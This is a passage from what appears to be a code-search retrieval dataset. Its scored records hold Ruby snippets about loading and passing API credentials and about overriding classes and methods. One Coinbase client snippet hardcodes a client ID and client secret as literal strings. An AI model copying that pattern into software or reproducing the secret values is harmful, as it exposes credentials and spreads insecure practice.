"text": "def initialize project, credentials, retries: nil, timeout: nil, host: nil, quota_project: nil\n @project = project\n @credentials = credentials\n @retries = retries\n @timeout = timeout\n @host = host\n @quota_project = quota_project\n end",
"title": ""
},
{
"docid": "e44945a604fef0102330f855f0460514",
"score": "0.5462412",
"text": "def get_credentials\n password = ENV['CARRIER_PRODUCTS_ENCRYPTION_PASSWORD']\n\n encrypted_credentials = self.credentials\n if self.state == CarrierProduct::States::LOCKED_FOR_CONFIGURING\n configured_product = first_unlocked_product_in_owner_chain()\n if configured_product\n return configured_product.get_credentials\n else\n return {}\n end\n\n end\n\n credentials = encrypted_credentials.inject({}) do |hash, (key, value)|\n hash[key] = AESCrypt.decrypt(value, password)\n hash\n end\n\n return credentials\n end",
"title": ""
},
{
"docid": "1599a7a47569dabc5762b09f402ab19b",
"score": "0.5461984",
"text": "def initialize(args = {})\n @base_url = BASE_URL\n @client_id = args[:client_id]\n @client_secret = args[:client_secret]\n raise Error::MissingCredentialsError if credentials_missing?\n end",
"title": ""
},
{
"docid": "23b28e667b885247ca5c0292549858e0",
"score": "0.54478866",
"text": "def credentials=(auth)\n if auth.is_a?(OAuth::AccessToken)\n @credentials = auth\n else\n @credentials = {:username => auth[:username], :password => auth[:password]}\n end\n end",
"title": ""
},
{
"docid": "586baf41a6d3f083d6fba786083d2765",
"score": "0.5442207",
"text": "def build_client(current_user, perform_auth)\n @client = Google::APIClient.new(:application_name => 'FleetSuite')\n @client.authorization.client_id = APP_CONFIG['oauth']['google']['client_id']\n @client.authorization.client_secret = APP_CONFIG['oauth']['google']['client_secret']\n @client.authorization.redirect_uri = APP_CONFIG['oauth']['google']['redirect_url']\n @client.authorization.scope = ['https://www.googleapis.com/auth/drive.readonly.metadata']\n\n # Authorize and add\n self.authorize!(current_user) if perform_auth\n end",
"title": ""
},
{
"docid": "9894024b1b591aac29a962d57d80c456",
"score": "0.5420979",
"text": "def credentials\n @credentials ||= begin\n request = Rack::Auth::Basic::Request.new(env)\n request.provided? ? request.credentials : []\n end\n end",
"title": ""
},
{
"docid": "d1687938e8c5aa20f2ac5da58d4bd974",
"score": "0.541334",
"text": "def get_and_store_credentials(token)\n credentials_hash = JSON.parse @credentials\n authorizer = create_authorizer_with(credentials_hash)\n credentials = authorizer.get_credentials(@username)\n if credentials.nil?\n # store credentials in redis with key like \"g-user-token:@username\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: @username, code: token, base_url: OOB_URI\n )\n end\n credentials\n end",
"title": ""
},
{
"docid": "328730959a0030c05b7416a21cbbc915",
"score": "0.5407805",
"text": "def make_env build_spec\n env = []\n\n build_spec.env.keys.each { |k| env << \"#{k}=#{build_spec.env[k]}\" }\n\n unless @no_credentials\n sts_client = Aws::STS::Client.new profile: @profile\n session_token = sts_client.get_session_token\n credentials = session_token.credentials\n\n env << \"AWS_ACCESS_KEY_ID=#{credentials[:access_key_id]}\"\n env << \"AWS_SECRET_ACCESS_KEY=#{credentials[:secret_access_key]}\"\n env << \"AWS_SESSION_TOKEN=#{credentials[:session_token]}\"\n\n ssm = Aws::SSM::Client.new credentials: session_token\n build_spec.parameter_store.keys.each do |k|\n name = build_spec.parameter_store[k]\n param_value = ssm.get_parameter(:name => name, :with_decryption => true).parameter.value\n env << \"#{k}=#{param_value}\"\n end\n end\n\n add_region_variables env\n\n env\n end",
"title": ""
},
{
"docid": "bba481177c4cab36f21ac1195398f2d6",
"score": "0.53994465",
"text": "def user_credentials_for(scope)\n FileUtils.mkdir_p(File.dirname(token_store_path))\n\n if ENV['GOOGLE_CLIENT_ID']\n client_id = Google::Auth::ClientId.new(ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'])\n else\n client_id = Google::Auth::ClientId.from_file(client_secrets_path)\n end\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => token_store_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n\n user_id = options[:user] || 'default'\n\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n say \"Open the following URL in your browser and authorize the application.\"\n say url\n code = ask \"Enter the authorization code:\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end",
"title": ""
},
{
"docid": "bb004664f5bbbad342499e6d3a4031f5",
"score": "0.53968877",
"text": "def credentials\n return nil if username.nil? || password.nil?\n \"#{username}:#{password}\"\n end",
"title": ""
},
{
"docid": "b9cf06b82862343d8d4c6565abcc18cb",
"score": "0.53957194",
"text": "def initialize project, credentials, timeout: nil, host: nil\n @project = project\n @credentials = credentials\n @timeout = timeout\n @host = host\n end",
"title": ""
},
{
"docid": "bd0e533ea2335f129298deb94879d2b5",
"score": "0.53924805",
"text": "def new_client(credentials)\n #Fog constructor expecting credentials[:terremark_password] and credentials[:terremark_username]\n terremark_credentials = {:terremark_vcloud_username => \"#{credentials.user}\", :terremark_vcloud_password => \"#{credentials.password}\" }\n safely do\n terremark_client = Fog::Terremark::Vcloud.new(terremark_credentials)\n vdc_id = terremark_client.default_vdc_id\n end\n if (vdc_id.nil?)\n raise \"AuthFailure\"\n end\n terremark_client\n end",
"title": ""
},
{
"docid": "4ade5af0d39044b73a5375ba5156c592",
"score": "0.5388752",
"text": "def initialize\n @credentials = Concierge::Credentials.for(\"waytostay\")\n end",
"title": ""
},
{
"docid": "4b1774183d7f2efd7533223276f659ed",
"score": "0.538412",
"text": "def parsed_credentials\n if credentials.is_a?(Resource::JenkinsCredentials)\n credentials.send(:id)\n else\n credentials.to_s\n end\n end",
"title": ""
},
{
"docid": "166b29b2bf970dc33d3ae5d9185af427",
"score": "0.5376267",
"text": "def initialize_secret(opts = {})\n secret = if opts[:username] && opts[:password]\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Using provided plain credentials\"\n \"#{opts[:username]}:#{opts[:password]}\"\n else\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Falling back to file and environment credentials\"\n opts[:auth_file] ? File.read(opts[:auth_file]) : nil\n end\n secret.strip! if secret\n secret\n end",
"title": ""
},
{
"docid": "1791641748b3c5644f4db15e42e1798b",
"score": "0.53676355",
"text": "def configure(credentials)\n credentials.each { |key, val| self.send(\"#{key}=\", val) }\n self\n end",
"title": ""
},
{
"docid": "4dd8247a1ce6f98201e887f618a2b04c",
"score": "0.5365407",
"text": "def load_service_account_creds(service_account)\n Google::Auth::ServiceAccountCredentials.make_creds(\n {\n scope: self::GOOGLE_SCOPES,\n json_key_io: File.open(service_account)\n }\n )\n end",
"title": ""
},
{
"docid": "3b536b34d9023f8a0bed2b68ea5d7dd8",
"score": "0.53642225",
"text": "def credentials(credentials_override = nil)\n result = super(credentials_override)\n #puts \"credentials result=\\n#{result}\"\n validate_headers_for_server(result)\n\n extra_headers = {\n 'userAgent' => generate_user_agent(),\n 'developerToken' => result[:developer_token]\n }\n if !@use_mcc and result[:client_customer_id]\n extra_headers['clientCustomerId'] = result[:client_customer_id]\n end\n extra_headers['validateOnly'] = 'true' if @validate_only\n extra_headers['partialFailure'] = 'true' if @partial_failure\n result[:extra_headers] = extra_headers\n #puts \"credentials result2=\\n#{result}\"\n return result\n end",
"title": ""
},
{
"docid": "3110218073ec942b81f7167188559eb0",
"score": "0.5352948",
"text": "def store_credentials(credentials)\n conf = configuration\n conf[:credentials] = {}\n conf[:credentials][:access_key], conf[:credentials][:secret_key] = credentials[0], credentials[1]\n store_configuration(conf)\n end",
"title": ""
},
{
"docid": "d8d3cb43bd2096608c0b90bd110c3962",
"score": "0.5344188",
"text": "def creds\n\t\tRails.application.secrets.oa_cred[provider]\n\tend",
"title": ""
},
{
"docid": "ab3055f4ca3525641df057ffdeeca23f",
"score": "0.5343027",
"text": "def append_api_credentials(params)\n is_param_defined(params) do\n params = Struct::ApiCredentials.new\n params.version = Struct::Version.new\n end \n if params.merchant_id == nil \n params.merchant_id = self.config.merchant_id\n end\n if params.merchant_key == nil\n params.merchant_key = self.config.merchant_key\n end\n if params.version.client == nil\n params.version.client = ZipMoney::Configuration::API_NAME + \" Version:\" + ZipMoney::Configuration::API_VERSION\n end\n if params.version.platform == nil\n params.version.platform = ZipMoney::Configuration::API_PLATFORM\n end\n params \n end",
"title": ""
},
{
"docid": "6a3404730d9f4b47611734ce6fe28bef",
"score": "0.5337645",
"text": "def credentials\n @credentials ||= GlobalConstant::Aws::Common.get_credentials_for(@role)\n end",
"title": ""
},
{
"docid": "6a3404730d9f4b47611734ce6fe28bef",
"score": "0.5337645",
"text": "def credentials\n @credentials ||= GlobalConstant::Aws::Common.get_credentials_for(@role)\n end",
"title": ""
},
{
"docid": "65e9195e26be7d2a5faf61a4e13fd9c4",
"score": "0.5336566",
"text": "def with_credentials(payload)\n if @auth\n payload.merge(client_id: @client.client_id,\n secret: @client.secret)\n else\n payload\n end\n end",
"title": ""
},
{
"docid": "a22eab70d3107dc0e06683e0a5fd7829",
"score": "0.53363913",
"text": "def user_credentials\n {\n :VERSION => ENV['PP_VERSION'],\n :USER => ENV['PP_USER'],\n :PWD => ENV['PP_PWD'],\n :SIGNATURE => ENV['PP_SIGNATURE']\n }\n end",
"title": ""
},
{
"docid": "5fa888a4026d6b1bbbd5b7050c526943",
"score": "0.53266394",
"text": "def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @secret_manager_service_stub = ::Google::Cloud::SecretManager::V1beta1::SecretManagerService::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"title": ""
},
{
"docid": "371ae4564b9078649cfab560fc2d1063",
"score": "0.5323522",
"text": "def init\n\t\tuser_credentials = {\n\t\t\t:access_token => access_token,\n\t\t\t:refresh_token => refresh_token,\n\t\t\t:expires_at => Time.now + expires_in\n\t\t}\n\n client_id = '694fc2f618facf30b3b41726ee6d0ac04c650669ca3d114cb0bae4223cecade3'\n client_secret = '3e7cfd07d829211ac50dd6486fe677ca76e965f25ad7d68e67e845e0d4a213e7'\n\t\tCoinbase::OAuthClient.new(client_id, client_secret, user_credentials)\n\tend",
"title": ""
},
{
"docid": "3b9add0309608d81723d270d65ad727d",
"score": "0.53226095",
"text": "def credentials\n @lock.synchronize do\n @credentials\n end\n end",
"title": ""
},
{
"docid": "e280794b5fc7dd14c6431a63bdc1bc50",
"score": "0.5318539",
"text": "def initialize credentials, retries: nil, timeout: nil, host: nil, quota_project: nil\n @credentials = credentials\n @service = API::CloudResourceManagerService.new\n @service.client_options.application_name = \\\n \"gcloud-ruby\"\n @service.client_options.application_version = \\\n Google::Cloud::ResourceManager::VERSION\n @service.client_options.open_timeout_sec = timeout\n @service.client_options.read_timeout_sec = timeout\n @service.client_options.send_timeout_sec = timeout\n @service.request_options.retries = retries || 3\n @service.request_options.header ||= {}\n @service.request_options.header[\"x-goog-api-client\"] = \\\n \"gl-ruby/#{RUBY_VERSION} \" \\\n \"gccl/#{Google::Cloud::ResourceManager::VERSION}\"\n @service.request_options.quota_project = quota_project if quota_project\n @service.authorization = @credentials.client\n @service.root_url = host if host\n end",
"title": ""
},
{
"docid": "3afa3e226f19504368973d4ab62a9506",
"score": "0.5315594",
"text": "def create_request(credentials)\n Request.new(credentials,@scheme,@host,@path,@query_elements)\n end",
"title": ""
},
{
"docid": "0e337a7738e1ff6a520869b0e1852e13",
"score": "0.53067666",
"text": "def credentials(authorization, request); end",
"title": ""
},
{
"docid": "40c4c59e835103d8bded5bfad998ddb7",
"score": "0.53065777",
"text": "def credentials(rack_env)\n Credentials.from_rack_env(rack_env)\n end",
"title": ""
}
] |
648af493c400e47e40623cc66b07cd84
|
Used to manually enable class specific override class.
|
[
{
"docid": "7e1b4d55363e17a9b832edcd9ef00ffb",
"score": "0.7158031",
"text": "def enable_factory_override overriding_class\n\t\t\tFactory.enable_override self, overriding_class\n\t\tend",
"title": ""
}
] |
[
{
"docid": "109fdebdc9c10bb836abb07392ba1b58",
"score": "0.6933879",
"text": "def add_inherited_override sub_class\n\t\t\t@sub_class_overrides << sub_class\n\t\tend",
"title": ""
},
{
"docid": "b853134c88d9a55023d22c26d89a0972",
"score": "0.66646385",
"text": "def override\n use(:__override__)\n end",
"title": ""
},
{
"docid": "7eb5eaecb1844c31c742351959f5a19c",
"score": "0.6615938",
"text": "def override\n use(:__override__)\n end",
"title": ""
},
{
"docid": "d4d6315dab2628bdd715306b18ad06ec",
"score": "0.6608154",
"text": "def record_class\n to_be_overridden 'by the including class/module'\n end",
"title": ""
},
{
"docid": "d0ed0f7aded7b4fa8c8ce8ee06a727a3",
"score": "0.6422145",
"text": "def require_subclass_override!\n raise 'This method must be overridden by a subclass'\n end",
"title": ""
},
{
"docid": "f18ed4ef4969b85c0e3e5550571ad2df",
"score": "0.64213943",
"text": "def allow_override\n @allow_override\n end",
"title": ""
},
{
"docid": "04c672baef50c90fc1345a07ad1b3d11",
"score": "0.6415751",
"text": "def override_all_methods!\n (base_instance.methods - Class.methods - NON_OVERRIDABLE).each do |method_override|\n define_singleton_method(method_override) do |*args, &block|\n add_setup(method_override, *args, &block)\n end\n end\n end",
"title": ""
},
{
"docid": "a76d7de33d69bb758cdf716657c9fe36",
"score": "0.63555133",
"text": "def change_class(class_id, keep_exp = true)\n super\n end",
"title": ""
},
{
"docid": "a76d7de33d69bb758cdf716657c9fe36",
"score": "0.63555133",
"text": "def change_class(class_id, keep_exp = true)\n super\n end",
"title": ""
},
{
"docid": "e1b892854e63bb2e924c6436ce7e97b5",
"score": "0.6327198",
"text": "def add_override name\n\t\t\t@manual_overrides << name\n\t\t\t@override_disables.delete name\n\t\tend",
"title": ""
},
{
"docid": "1493ee07674789f73fb5e931f40a593d",
"score": "0.63176495",
"text": "def define_user_override(method_name, user_def, &our_def); end",
"title": ""
},
{
"docid": "7f446b6a2d77828174e09738f235d6ba",
"score": "0.6300972",
"text": "def method_to_be_overridden; end",
"title": ""
},
{
"docid": "70587009ca637fa9e75fc3293cf26616",
"score": "0.62006146",
"text": "def enable!\n raise NotImplementedError, \"Not implemented by subclass\"\n end",
"title": ""
},
{
"docid": "7bb23ee0e74894227357b7e148c3225c",
"score": "0.6196646",
"text": "def add_to_class(class_name, attr, &block)\n reloadable_patch do |plugin|\n klass = class_name.to_s.classify.constantize rescue class_name.to_s.constantize\n hidden_method_name = :\"#{attr}_without_enable_check\"\n klass.public_send(:define_method, hidden_method_name, &block)\n\n klass.public_send(:define_method, attr) do |*args|\n public_send(hidden_method_name, *args) if plugin.enabled?\n end\n end\n end",
"title": ""
},
{
"docid": "b6178522e8891cba157db090f9c5cdc8",
"score": "0.6050748",
"text": "def ar_class\n to_be_overridden\n end",
"title": ""
},
{
"docid": "fb21fab7523671a389f9cf0637290848",
"score": "0.6006311",
"text": "def override_method(obj, method_name, &block)\n klass = class <<obj; self; end\n klass.send(:undef_method, method_name)\n klass.send(:define_method, method_name, block)\nend",
"title": ""
},
{
"docid": "2825a5577e8f405b626a6ab92fc93daa",
"score": "0.6000598",
"text": "def allow_override=(value)\n @allow_override = value\n end",
"title": ""
},
{
"docid": "1297fb7a85483eb629312b555f279981",
"score": "0.5999992",
"text": "def override_instance_method(obj, method_name, value)\n metaclass =\n class << obj\n self\n end\n\n metaclass.send :define_method, method_name do\n value\n end\n\n obj\nend",
"title": ""
},
{
"docid": "3b3c83c7dee8a231ae91039cc18eee54",
"score": "0.59772855",
"text": "def override!(*args)\n return Decorator::Unchain.new(self, :override!) unless args.length > 0\n\n write(:override, *args)\n end",
"title": ""
},
{
"docid": "f6263fd000ebce689c89d22b4969afaa",
"score": "0.59677416",
"text": "def inherited(klass)\n super\n klass.instance_eval { @enabled_features = Set.new }\n end",
"title": ""
},
{
"docid": "05209747061baf8c5244e39d6d23cd7e",
"score": "0.59524125",
"text": "def add_class_method(klass_name, attr, &block)\n reloadable_patch do |plugin|\n klass = klass_name.to_s.classify.constantize rescue klass_name.to_s.constantize\n\n hidden_method_name = :\"#{attr}_without_enable_check\"\n klass.public_send(:define_singleton_method, hidden_method_name, &block)\n\n klass.public_send(:define_singleton_method, attr) do |*args|\n public_send(hidden_method_name, *args) if plugin.enabled?\n end\n end\n end",
"title": ""
},
{
"docid": "395c0398ecdad1ca81c4ff6e6f9dfb5f",
"score": "0.5944055",
"text": "def override(name, &block)\n current = Module.new\n method = instance_method(name)\n current.send(:define_method, name) do |*args|\n method.bind(self).call(*args[0...method.arity])\n end\n \n include current\n define_method(name, &block)\n end",
"title": ""
},
{
"docid": "bffbc014362ea5bcf529d49907bbb327",
"score": "0.59265894",
"text": "def override(major, minor, extra)\n name = minor.capitalize\n\n if major == 'controller'\n # controller\n if !extra.nil? && extra == 'admin'\n side = 'admin'\n else\n side = 'front'\n end\n\n name = \"#{name}Controller\"\n filename = \"#{name}.php\"\n path = \"override/controllers/#{side}/#{filename}\"\n\n elsif major == 'class'\n # class\n filename = \"#{name}.php\"\n path = \"override/classes/#{filename}\"\n end\n\n content = \"<?php\\n\\nclass #{name} extends #{name}Core\\n{\\n\\n}\\n\"\n\n if !File.directory?('override')\n return puts \"#{red(\"Error:\")} You need to be at the root of your Prestashop site\"\n end\n\n puts \" #{green(\"create\")} #{path}\"\n File.open(path, 'w') do |f|\n f.write(content)\n end\n\n clean(\"class\")\n\n done\n end",
"title": ""
},
{
"docid": "689de5ed54b70f6433e4301027343755",
"score": "0.5920717",
"text": "def override_existing_method(method_name)\n sclass.class_eval <<-EOS\n def #{method_name}(*args, &block)\n method_missing(:#{method_name}, *args, &block)\n end\n EOS\n end",
"title": ""
},
{
"docid": "7a0bff3ec4b383297280e70fbaaea77f",
"score": "0.58644783",
"text": "def override=(flag)\n @override = flag if enabled?\n end",
"title": ""
},
{
"docid": "6fc4312837c5ef7b6e382c89e6daece4",
"score": "0.5860659",
"text": "def overrides(args = {}, &block)\n composition.new_override(args, &block)\n self\n end",
"title": ""
},
{
"docid": "dc9aba66cedecac67c8f843df1ecf517",
"score": "0.58539736",
"text": "def __override__(object); object; end",
"title": ""
},
{
"docid": "ffab3d643b1863bebf99bc4cf2b4cce6",
"score": "0.5833119",
"text": "def proxy_class=(klass); end",
"title": ""
},
{
"docid": "ffab3d643b1863bebf99bc4cf2b4cce6",
"score": "0.5833119",
"text": "def proxy_class=(klass); end",
"title": ""
},
{
"docid": "e29d9754e0bf5cb2398343e97ba57071",
"score": "0.58242065",
"text": "def new_override(args = {}, location = :append, &block)\n if args.is_a?(Symbol)\n location = args\n args = {}\n end\n ovr = Override.new(origin, args, block)\n add_override(ovr, location)\n self\n end",
"title": ""
},
{
"docid": "a861f000f19713ed313872c367b798af",
"score": "0.58219963",
"text": "def rinter_before_include_class(base)\n end",
"title": ""
},
{
"docid": "5476674cd4fd4bbe74634dd9de833e0b",
"score": "0.58201355",
"text": "def override_existing_method(sym)\n sclass.class_eval \"def #{sym}(*args, &block) method_missing(:#{sym}, *args, &block) end\"\n end",
"title": ""
},
{
"docid": "e6431ff47476c9014fb64198d5853e1e",
"score": "0.5797603",
"text": "def overrides; end",
"title": ""
},
{
"docid": "e6431ff47476c9014fb64198d5853e1e",
"score": "0.5797603",
"text": "def overrides; end",
"title": ""
},
{
"docid": "9f3bfb89d8bf79807bce8a3397753c6e",
"score": "0.57902485",
"text": "def disable_factory_override overriding_class\n\t\t\tFactory.disable_override self, overriding_class\n\t\tend",
"title": ""
},
{
"docid": "85c509cf5a945a5b79be41f1f242f804",
"score": "0.578667",
"text": "def override_method(obj, method_name, &block)\n # Get the singleton class/eigenclass for 'obj'\n klass = class <<obj; self; end\n\n # Undefine the old method (using 'send' since 'undef_method' is protected)\n klass.send(:undef_method, method_name)\n\n # Create the new method\n klass.send(:define_method, method_name, block)\nend",
"title": ""
},
{
"docid": "82c0c124f78b05f7efbde5d31b466370",
"score": "0.5774136",
"text": "def inherited(klass)\n super\n register(klass)\n end",
"title": ""
},
{
"docid": "c6d7708db53d80066a7f877910b8f9ec",
"score": "0.5768843",
"text": "def inherited(klass)\n Thor::Base.register_klass_file(klass)\n klass.instance_variable_set(:@no_commands, false)\n end",
"title": ""
},
{
"docid": "ee02b5a17df4cf52994aeb23c09568c9",
"score": "0.5764439",
"text": "def inherited(klass)\n Foreman::Thor::Base.register_klass_file(klass)\n klass.instance_variable_set(:@no_commands, false)\n end",
"title": ""
},
{
"docid": "db852e366c3651fc00dfcd571ab53115",
"score": "0.5758732",
"text": "def base_class!\n @base_class = true\n end",
"title": ""
},
{
"docid": "dd3396d1c690591515e5cf1e7574b84e",
"score": "0.5755643",
"text": "def include_in_class\n @extension_method = :include\n customize @control_class\n end",
"title": ""
},
{
"docid": "b73add69c30b160524118db12d4f8078",
"score": "0.5737627",
"text": "def extend!(*extensions, &extension_block)\n b = super\n b.klass = @klass\n b\n end",
"title": ""
},
{
"docid": "aa70022667a11c08c1813dd49d7409e8",
"score": "0.5715979",
"text": "def inherited(klass)\n Thor::Base.register_klass_file(klass)\n end",
"title": ""
},
{
"docid": "eeac651a5562e40267cd3a9d7cd32b9d",
"score": "0.5710691",
"text": "def register(klass)\n unless klass < MXNet::Optimizer::Base\n raise ArgumentError, \"optimizer must be a subclass of MXNet::Optimizer::Base\"\n end\n name = self.name[/::([^:]+)\\z/, 1].downcase.to_sym\n if @opt_registry.has_key? name\n warn \"WARNING: New optimizer #{self} is overriding existing \" +\n \"optimizer #{@opt_registry[name]}\"\n end\n @opt_registry[name] = self\n end",
"title": ""
},
{
"docid": "e584f7d5e6fdcc9614cbc705cfecfb94",
"score": "0.5710046",
"text": "def force_override!(*args)\n return Decorator::Unchain.new(self, :force_override!) unless args.length > 0\n\n value = args.pop\n rm_override(*args)\n write(:force_override, *args, value)\n end",
"title": ""
},
{
"docid": "e05fe1604cbd1cc22147a3365b129597",
"score": "0.57070506",
"text": "def set_super_class sup\n self.super_class = sup\n end",
"title": ""
},
{
"docid": "4214a52f6c15ab638733fd9abec8a0df",
"score": "0.5703123",
"text": "def toggle_or_assign_class\n end",
"title": ""
},
{
"docid": "c43ccf65cd3715b496e64c621992712d",
"score": "0.56970185",
"text": "def get_override\n\t\t\toverrides = @sub_class_overrides + @manual_overrides\n\t\t\twhile !overrides.empty?\n\t\t\t\toverride = overrides.pop\n\t\t\t\treturn override unless @override_disables.include? override or \n\t\t\t\t\t\t\t\t\t\t\t\tFactory.global_override_disables.include? override\n\t\t\tend\n\t\t\treturn @class_name\n\t\tend",
"title": ""
},
{
"docid": "433ea3993a04df63872efc0c9ec8846f",
"score": "0.56849474",
"text": "def overrides(args={}, &block)\n @overrides << {:args => args, :block => block}\n self\n end",
"title": ""
},
{
"docid": "372cda59c4a6095f2c6ec60766f83ee8",
"score": "0.56807375",
"text": "def inherited(subclass)\n target.extend(Plugin::Register)\n Plugin::Load.include_in(target)\n\n target.register_plugin(subclass)\n super\n end",
"title": ""
},
{
"docid": "b875674aa109e76a0d32f0195949ef66",
"score": "0.5673257",
"text": "def load_subclass\n return unless Aur::Command.const_defined?(filetype_module)\n\n extend Object.const_get(\"Aur::Command::#{filetype_module}\")\n end",
"title": ""
},
{
"docid": "b6470ee2e4f9f16c7d4e7c96bd6c1e84",
"score": "0.5663349",
"text": "def record_methods_from(overrides)\r\n overrides.each do |klass, methods|\r\n methods.each do |method_to_override|\r\n original_method = \"#{method_to_override}__fs_cache_test__\".to_sym\r\n klass.singleton_class.alias_method original_method, method_to_override\r\n klass.define_singleton_method(method_to_override) do |*args, &block|\r\n OpsRecorder.ops << {\r\n class: klass.name.to_sym,\r\n method: method_to_override,\r\n args: args\r\n } if OpsRecorder.ops\r\n self.send(original_method, *args, &block)\r\n end\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "e0dceace5c90bcab8752beb5e14d51f7",
"score": "0.5589241",
"text": "def on_class(constant, superclass, bodystmt); end",
"title": ""
},
{
"docid": "2664f532067c61020880888004110726",
"score": "0.55864656",
"text": "def included(klass)\n klass.extend(ClassMethods)\n klass.include(InstanceMethods)\n\n self.class.registry[id] = klass\n\n super\n end",
"title": ""
},
{
"docid": "ac7eac7bc67c7a25141c7cc51ab9cb9e",
"score": "0.5580271",
"text": "def update_user_class\r\n ActsAsUser.extend_user_class(@user_class_info[:class], \r\n {\r\n :role_class => @role_class_info[:class],\r\n })\r\n end",
"title": ""
},
{
"docid": "7c1425099aec4d9b33ce9e5e455b9cf9",
"score": "0.557742",
"text": "def inherited(klass)\n super\n klass.on_update_options = self.on_update_options.dup\n end",
"title": ""
},
{
"docid": "ed27b93cf2efa6cbe3283440d723e588",
"score": "0.55723596",
"text": "def trap_class_method(klass, method_name)\n trap_method((class << klass; self; end), method_name)\n end",
"title": ""
},
{
"docid": "49fafe0249d153c0a89bce437d529177",
"score": "0.5561423",
"text": "def inherited(base)\n super\n @klasses << base\n end",
"title": ""
},
{
"docid": "36be20c56287cc37d479b8322e719be0",
"score": "0.55591303",
"text": "def activate\n raise NotImplementedError.new(\"must be overridden\")\n end",
"title": ""
},
{
"docid": "ab309047bc9c21478cc7b80a65dbbb09",
"score": "0.5546584",
"text": "def enable!\n @binding.send(:alias_method, @backup, @name)\n @binding.send(:define_method, @name, @replacement)\n end",
"title": ""
},
{
"docid": "826f3c35abd12615d0fb3c979b0bada1",
"score": "0.5542893",
"text": "def override_method(obj, method_name, &block)\n # Get the singleton class/eigenclass for 'obj'\n klass = class << obj; self; end\n\n # Undefine the old method (using 'send' since 'undef_method' is protected)\n klass.send(:undef_method, method_name)\n\n # Create the new method\n klass.send(:define_method, method_name, block)\n end",
"title": ""
},
{
"docid": "3b28082a0f1ca04bcf06d0cab57fdb2a",
"score": "0.55388856",
"text": "def add_class(class_name)\n # self.class_name += \" #{class_name}\" unless has_class? class_name\n self\n end",
"title": ""
},
{
"docid": "56ef221162aca417cdb51e3649518276",
"score": "0.55283254",
"text": "def modify_address_class(opts)\n opts = check_params(opts,[:classes])\n super(opts)\n end",
"title": ""
},
{
"docid": "985be74a907375b26aeabc45d0d8cf1d",
"score": "0.5525412",
"text": "def install_method_on_class(klass, method_code)\n klass.class_eval method_code\n end",
"title": ""
},
{
"docid": "ddad224fda30b12b3d3f477484a03c37",
"score": "0.55235434",
"text": "def override!(node_name, *args, &block)\n self.method_missing(node_name.to_sym, *args, &block)\n end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5516031",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5516031",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5516031",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5516031",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "65131bff089b93da35d73f4450476d3f",
"score": "0.5516031",
"text": "def inherited(klass); end",
"title": ""
},
{
"docid": "4160290cd0fd1204383e7a48743838b3",
"score": "0.5515869",
"text": "def method_missing(meth, *args, &blk)\n classify = classifications.find {|kind| kind.added_methods.include?(meth.to_s)}\n return super if classify.nil? \n self.extend(classify.methods_mixin) \n self.send(meth, *args, &blk)\n end",
"title": ""
},
{
"docid": "8c88a1ccf73223a42383ed2dac679f10",
"score": "0.5510847",
"text": "def overrides\n @overrides ||= {}\n end",
"title": ""
},
{
"docid": "8c88a1ccf73223a42383ed2dac679f10",
"score": "0.5510847",
"text": "def overrides\n @overrides ||= {}\n end",
"title": ""
},
{
"docid": "172f605471073485220a1976493b86a5",
"score": "0.5502656",
"text": "def set_dynamic_class_type(options = {})\n associate_class_with_dynamic_type @class_or_module, options\n end",
"title": ""
},
{
"docid": "93f11692c52c0225dd3d889d6765ff2f",
"score": "0.5499549",
"text": "def setup_custom_class(klass, required_methods: [])\n unless klass.respond_to?(*required_methods)\n raise ProxyFetcher::Exceptions::WrongCustomClass.new(klass, required_methods)\n end\n\n klass\n end",
"title": ""
},
{
"docid": "93f11692c52c0225dd3d889d6765ff2f",
"score": "0.5499549",
"text": "def setup_custom_class(klass, required_methods: [])\n unless klass.respond_to?(*required_methods)\n raise ProxyFetcher::Exceptions::WrongCustomClass.new(klass, required_methods)\n end\n\n klass\n end",
"title": ""
},
{
"docid": "e0f236ef989229901b17c6647c81dcf1",
"score": "0.54908997",
"text": "def set_user_class(opts)\n opts = check_params(opts,[:user_classes])\n super(opts)\n end",
"title": ""
},
{
"docid": "4d5e02df254b0394e1f9bc1cfed522e6",
"score": "0.5490829",
"text": "def external_class_list\n super\n end",
"title": ""
},
{
"docid": "e8cae25b35993fe8cb552f752fc06012",
"score": "0.54851556",
"text": "def override()\n puts \"PARENT override()\"\n end",
"title": ""
},
{
"docid": "bac8eb99ca3402f5778d0f8e8d32a203",
"score": "0.54806566",
"text": "def overrides\n @overrides ||= {}\n end",
"title": ""
},
{
"docid": "84e25a066396770a97a07bd5bc8192ee",
"score": "0.54787236",
"text": "def add_subclass(klass) \n self.subclasses << klass\n klass.superclasses << self\n end",
"title": ""
},
{
"docid": "f38e762f0f2978c878d4ae1d4380b0eb",
"score": "0.5467549",
